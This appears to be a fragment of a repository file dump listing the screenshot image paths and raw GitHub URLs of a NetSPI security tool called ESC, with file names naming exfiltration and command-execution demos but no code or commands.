https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/FileExfil1.png -------------------------------------------------------------------------------- /screenshots/FileExfil2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/FileExfil2.png -------------------------------------------------------------------------------- /screenshots/FileExfil3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/FileExfil3.png -------------------------------------------------------------------------------- /screenshots/IcmpExfil1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/IcmpExfil1.png -------------------------------------------------------------------------------- /screenshots/IcmpExfil12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/IcmpExfil12.png -------------------------------------------------------------------------------- /screenshots/IcmpExfil3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/IcmpExfil3.png -------------------------------------------------------------------------------- /screenshots/LoginAsPw1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/LoginAsPw1.png -------------------------------------------------------------------------------- /screenshots/LoginAsPw2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/LoginAsPw2.png -------------------------------------------------------------------------------- /screenshots/RunOsCmd1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/RunOsCmd1.png -------------------------------------------------------------------------------- /screenshots/Target-Instance1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/Target-Instance1.png -------------------------------------------------------------------------------- /screenshots/Target-Instance2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/Target-Instance2.png -------------------------------------------------------------------------------- /screenshots/Target-Instance3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/Target-Instance3.png -------------------------------------------------------------------------------- /screenshots/esc-execute-via-appdomain-hijack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/esc-execute-via-appdomain-hijack.png -------------------------------------------------------------------------------- /screenshots/esc-execute-via-appdomain-hijack2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/esc-execute-via-appdomain-hijack2.png -------------------------------------------------------------------------------- /screenshots/esc-execute-via-appdomain-hijack3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/esc-execute-via-appdomain-hijack3.png -------------------------------------------------------------------------------- /screenshots/esc-execute-via-appdomain-hijack4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/esc-execute-via-appdomain-hijack4.png -------------------------------------------------------------------------------- /screenshots/esc-logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/esc-logo.png -------------------------------------------------------------------------------- /screenshots/start-esc-compile-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/start-esc-compile-1.png -------------------------------------------------------------------------------- /screenshots/start-esc-compile-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/start-esc-compile-2.png -------------------------------------------------------------------------------- /screenshots/start-esc-msbuild-1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/start-esc-msbuild-1.png -------------------------------------------------------------------------------- /screenshots/start-esc-msbuild-2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/screenshots/start-esc-msbuild-2.png --------------------------------------------------------------------------------